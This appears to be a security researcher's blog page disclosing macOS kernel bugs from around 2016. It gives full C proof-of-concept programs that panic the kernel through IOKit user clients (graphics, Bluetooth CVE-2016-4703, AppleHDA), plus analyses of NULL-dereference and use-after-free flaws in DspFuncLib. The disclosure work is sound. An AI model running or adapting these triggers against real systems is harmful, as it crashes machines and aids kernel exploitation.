NULL Pointer Reference Bug in AppleGraphicsDeviceControl Module

Apple didn’t take NULL Pointer Reference type bug as vulnerability any more.

They reply me with the email something like this:

it does not cross any security boundary because the NULL page
cannot be mapped on the OS. Therefore, will not issue any updates
or CVEs for it.

 

I just public it here for fun. Please don’t do it for any malicious/business purposes.

 

 

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <IOKit/IOKitLib.h>

void trigger(io_connect_t conn, uint32_t value)

{

    uint64_t INPUTSCALAR[8];

    uint32_t INPUTSCALARCNT = 0;

    

    char INPUTSTRUCT[4096];

    size_t INPUTSTRUCTCNT = 0X1000;

    

    uint64_t OUTPUTSCALAR[8] = {0};

    uint32_t OUTPUTSCALARCNT = 0;

    

    char OUTPUTSTRUCT[4096];

    size_t OUTPUTSTRUCTCNT = 0X1000;

    

    //FILL INPUT

    for (int i=0; i<1024; i++) {

        INPUTSCALAR[0] = value;

        INPUTSCALARCNT = 1;

        

        OUTPUTSCALARCNT = 1;

        INPUTSTRUCTCNT = 29;

        OUTPUTSTRUCTCNT = 0;

        

        printf(“i=%d\n”, i);

        *(uint32_t*)INPUTSTRUCT = i;

        *(uint32_t*)&INPUTSTRUCT[4] = 1;

        

        IOConnectCallMethod(

                            conn,

                            0x4108,

                            INPUTSCALAR,

                            INPUTSCALARCNT,

                            INPUTSTRUCT,

                            INPUTSTRUCTCNT,

                            OUTPUTSCALAR,

                            &OUTPUTSCALARCNT,

                            OUTPUTSTRUCT,

                            &OUTPUTSTRUCTCNT);

    }

}

int main(){

    

    kern_return_t err;

    

    CFMutableDictionaryRef Matching = IOServiceMatching(“IntelFBClientControl”);

    

    if(!Matching){

        

        printf(“UNABLE TO CREATE SERVICE MATCHING DICTIONARY\n”);

        

        return 0;

        

    }

    

    io_iterator_t iterator;

    

    err = IOServiceGetMatchingServices(kIOMasterPortDefault, Matching, &iterator);

    

    if (err != KERN_SUCCESS){

        

        printf(“NO MATCHES\n”);

        return 0;

    }

    

    io_service_t service = IOIteratorNext(iterator);

    

    if (service == IO_OBJECT_NULL){

        

        printf(“UNABLE TO FIND SERVICE\n”);

        

        return 0;

        

    }

    

    io_connect_t CONN = MACH_PORT_NULL;

    

    err = IOServiceOpen(service, mach_task_self(), 2, &CONN);

    

    if (err != KERN_SUCCESS){

        

        printf(“UNABLE TO GET USER CLIENT CONNECTION\n”);

        

        return 0;

        

    }else{

        

        printf(“GOT USERCLIENT CONNECTION: %X, TYPE:%D\n”, CONN, 0);

        

    }

    

    trigger(CONN, 0x4118);

    

    printf(“PANIC?\n”);

    

    return 0;

    

}

BufferOverflow in Bluetooth

After Sending a request to BluetoothFamily.kext, system will panic. IOBluetoothHostController::BluetoothHCIChangeLocalName method doesn’t handle the parameter correctly.

macOS 10.12 has fixed this bug. CVE-2016-4703.

 

PoC:

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <IOKit/IOKitLib.h>

uint32_t hciRequestCreate(io_connect_t conn)

{

uint64_t inputScalar[8];

uint32_t inputScalarCnt = 0;

 

char inputStruct[4096];

size_t inputStructCnt = 0x74;

 

uint64_t outputScalar[8];

uint32_t outputScalarCnt = 0;

 

char outputStruct[4096]={0};

size_t outputStructCnt = 0x100;

 

 

 

*(uint32_t*)&inputStruct[0x70] = 0;

 

 

uint64_t argTimeout = 500;

uint64_t argASync = 0;

uint8_t argCallback[0x28];

uint64_t argReserve;

 

 

 

((uint64_t*)inputStruct)[0] = (uint64_t)&argTimeout;

((uint64_t*)inputStruct)[7] = 8;

 

((uint64_t*)inputStruct)[1] = (uint64_t)&argASync;

((uint64_t*)inputStruct)[8] = 8;

 

((uint64_t*)inputStruct)[2] = (uint64_t)&argCallback;

((uint64_t*)inputStruct)[9] = 0x28;

 

((uint64_t*)inputStruct)[3] = (uint64_t)&argReserve;

((uint64_t*)inputStruct)[10] = 8;

 

IOConnectCallMethod(

conn,

0,

inputScalar,

inputScalarCnt,

inputStruct,

inputStructCnt,

outputScalar,

&outputScalarCnt,

outputStruct,

&outputStructCnt);

 

return ((uint32_t*)outputStruct)[0];

 

}

int main(){

kern_return_t err;

 

CFMutableDictionaryRef matching = IOServiceMatching(“IOBluetoothHCIController”);

if(!matching){

printf(“unable to create service matching dictionary\n”);

return 0;

}

 

io_iterator_t iterator;

err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);

if (err != KERN_SUCCESS){

printf(“no matches\n”);

return 0;

}

 

io_service_t service = IOIteratorNext(iterator);

 

if (service == IO_OBJECT_NULL){

printf(“unable to find service\n”);

return 0;

}

printf(“got service: %x\n”, service);

 

 

io_connect_t conn = MACH_PORT_NULL;

err = IOServiceOpen(service, mach_task_self(), 0, &conn);

if (err != KERN_SUCCESS){

printf(“unable to get user client connection\n”);

return 0;

}else{

printf(“got userclient connection: %x, type:%d\n”, conn, 0);

}

 

 

uint32_t hciIndex=hciRequestCreate(conn);

if (hciIndex==0) {

printf(“error create request\n”);

return 0;

}

 

uint64_t inputScalar[8];

uint32_t inputScalarCnt = 0;

 

char inputStruct[4096];

size_t inputStructCnt = 0x74;

 

uint64_t outputScalar[8];

uint32_t outputScalarCnt = 0;

 

char outputStruct[4096];

size_t outputStructCnt = 0x100;

 

 

//fill input struct

Byte* dispatchPara[7] ;

 

printf(“try”);

 

for (uint32_t j=0; j<=0x10000; j++) {

 

 

dispatchPara[0] = new Byte[8];

 

dispatchPara[1] = new Byte[j];

memset(dispatchPara[1],1,j);

 

((uint64_t*)inputStruct)[0]=(uint64_t)dispatchPara[0];

((uint64_t*)inputStruct)[7] = 8;

((uint64_t*)inputStruct)[1]=(uint64_t)dispatchPara[1];

((uint64_t*)inputStruct)[8] = j;

 

 

*(uint32_t*)&inputStruct[0x70] = 45;

 

uint32_t* indexHCIRequest = *(uint32_t**)&inputStruct[0];

 

*indexHCIRequest = hciIndex;

 

 

err = IOConnectCallMethod(

conn,

0,

inputScalar,

inputScalarCnt,

inputStruct,

inputStructCnt,

outputScalar,

&outputScalarCnt,

outputStruct,

&outputStructCnt);

 

if (err != KERN_SUCCESS){

//printf(“[%d] IOConnectCall error: %x\n”, j,err);

}

 

printf(“.”);

 

for (uint32_t i=0; i<2; i++) {

delete [] dispatchPara[i];

}

}

 

 

 

 

 

printf(“Not panic?\n”);

 

 

return 0;

}

 

new Entitlement needed for access HDA since OSX 10.11.6

In OSX 10.11.6 security update, I received 3 CVEs that are all Audio related(Actually I submitted 13 cases to Apple totally and 2 cases to ZDI, btw, ZDI is acquired by Trend Micro).

Yesterday, when I back to see what apple did to patch these vulnerabilities, I found the following:

屏幕快照 2016-07-24 21.10.24

Apple needs an entitlement to create user client to access HDA. If you don’t have the entitlement, you can specify the boot-args with “legacy_hda_support” to make your code work.

 

DspFunc memory leak fixed in OSX 10.11.6

See PoC as below

 

PoC

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <IOKit/IOKitLib.h>
int main(){
    kern_return_t err;
    CFMutableDictionaryRef matching = IOServiceMatching(“AppleHDAEngine”);
    if(!matching){
        printf(“unable to create service matching dictionary\n”);
        return 0;
    }
    io_iterator_t iterator;
    err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
    if (err != KERN_SUCCESS){
        printf(“no matches\n”);
        return 0;
    }
    io_service_t service = IOIteratorNext(iterator);
    if (service == IO_OBJECT_NULL){
        printf(“unable to find service\n”);
        return 0;
    }
    io_connect_t conn = MACH_PORT_NULL;
    err = IOServiceOpen(service, mach_task_self(), 2, &conn);
    if (err != KERN_SUCCESS){
        printf(“unable to get user client connection\n”);
        return 0;
    }else{
        printf(“got userclient connection: %x, type:%d\n”, conn, 0);
    }
    uint64_t inputScalar[8];
    uint32_t inputScalarCnt = 0;
    char inputStruct[4096];
    size_t inputStructCnt = 0x1000;
    uint64_t outputScalar[8];
    uint32_t outputScalarCnt = 0;
    char outputStruct[4096];
    size_t outputStructCnt = 4;
    //fill input
    memset(inputStruct, ‘a’, 0x1000);
    inputStruct[0x1000-1]=’\0′;
    printf(“trying to leak memory of zone kalloc.4096\n”);
    printf(“please wait for few seconds.\n”);
    uint64_t count=0;
    do {
        if (count % 1000 == 0) {
            printf(“. “);
        }
        IOConnectCallMethod(
                            conn,
                            0,
                            inputScalar,
                            inputScalarCnt,
                            inputStruct,
                            inputStructCnt,
                            outputScalar,
                            &outputScalarCnt,
                            outputStruct,
                            &outputStructCnt);
    } while (++count<30000000);
    printf(“panic?\n”);
    return 0;
}

8 NULL Point Deference Fixed in OSX 10.11.6

Description

Several DspFuncs in DspFuncLib don’t check the return value of DspFuc::getInputBuffer and DspFunc::getOutputBuffer , they then call DspBuffer::getBufferAddress directly. If the return value is 0, then NULL point is dereferenced in getBufferAddress.

 

Affected OS and Module

OSX < 10.11.6

Module: DspFuncLib

Tested Environment:

  • OSX 10.11.3 in VMware Fusion
  • MacBook Pro(Retina, 2015)

 

Analysis

Several DspFuncs don’t check the return value of DspFuc::getInputBuffer and DspFunc::getOutputBuffer. Take DspFunc2WayCrossover as example:

NULL_DSP_ACCESS

See the picture above, if DspFunc::getInputBuffer returns 0, it will panic when getBufferAddress is called.

DspFunc::getInputBuffer/DspFunc::getOutputBuffer will return 0 in my provided PoCs.

There are 8 DspFuncs in DspFuncLib which don’t check the return value, please see the table as below.

NO. DspFunc Name DspFunc Object
1 DspCrossover2Way DspFunc2WayCrossover
2 Dsp2To4Splitter DspFunc2To4Splitter
3 DspBeamFormer DspFuncBeamFormer
4 DspDelay DspFuncDelay
5 DspCrossover2Dot1 DspFunc2DOT1Crossover
6 DspCrossover2Dot2 DspFunc2DOT2Crossover
7 DspMultiBandCompressor DspFuncMultiBandCompressor
8 Dsp2To6Splitter DspFunc2To6Splitter

 

Continue reading “8 NULL Point Deference Fixed in OSX 10.11.6”

4 UAF vulnerabilities in DspFuncs which are patched in OSX 10.11.6

Description

DspFuncManager::process will call each DspFunc::process which may cleanup itself, but the cleanup here won’t remove the pointer which points to its own object  from the OSArray in DspFuncManager so that any access to the object in the OSArray will leads to UAF.

 

Affected OS and Module

OSX < 10.11.6

Module: DspFuncLib, AppleHDA

Test Environment:

  • VM Fusion OSX 10.11.3
  • MacBook Pro(Retina,2015)

 

 

Analysis

When DspFuncUserClient::createDspFunction or DspFuncUserClient::createDspFunctionWithInstance is called, DspFuncManager will set new created object in its OSArray:

 

UAF_DSP_CREATE_OBJECT

 

Then, when DspFuncManager::process is called(due to ClientStop or performClientIO), Each DspFunc::process is called. For example, DspFuncBuzzKill::process will be called if DspFuncBuzzKill object is currently in the OSArray introduced above.

UAF_DSP_CLEANUP

See the picture above. In DspFuncBuzzKill, if DspFunc::getInputBuffer returns 0, DspFuncBuzzKill::cleanup will be called and it will free its own class object. Please be noticed that DspFuncBuzzKill::cleanup won’t remove its object from OSArray in DspFuncManager. So later if any access to the OSArray(like DspFuncManager::getFunctionInstance), UAF will occur!

 

There are 4 DspFuncs which have the UAF problem, see table as below.

NO. DspFunc Name DspFuncObject
1 DspBuzzKill DspFucBuzzKill
2 DspCalibrationEQ DspFuncCalibrationEQ
3 DspControlFreak/ DspControlFreak4ch DspFuncControlFreak
4 DspXTC_2chIn_2chOut/ DspXTC_2chIn_4chOut DspFuncXTC

 

Continue reading “4 UAF vulnerabilities in DspFuncs which are patched in OSX 10.11.6”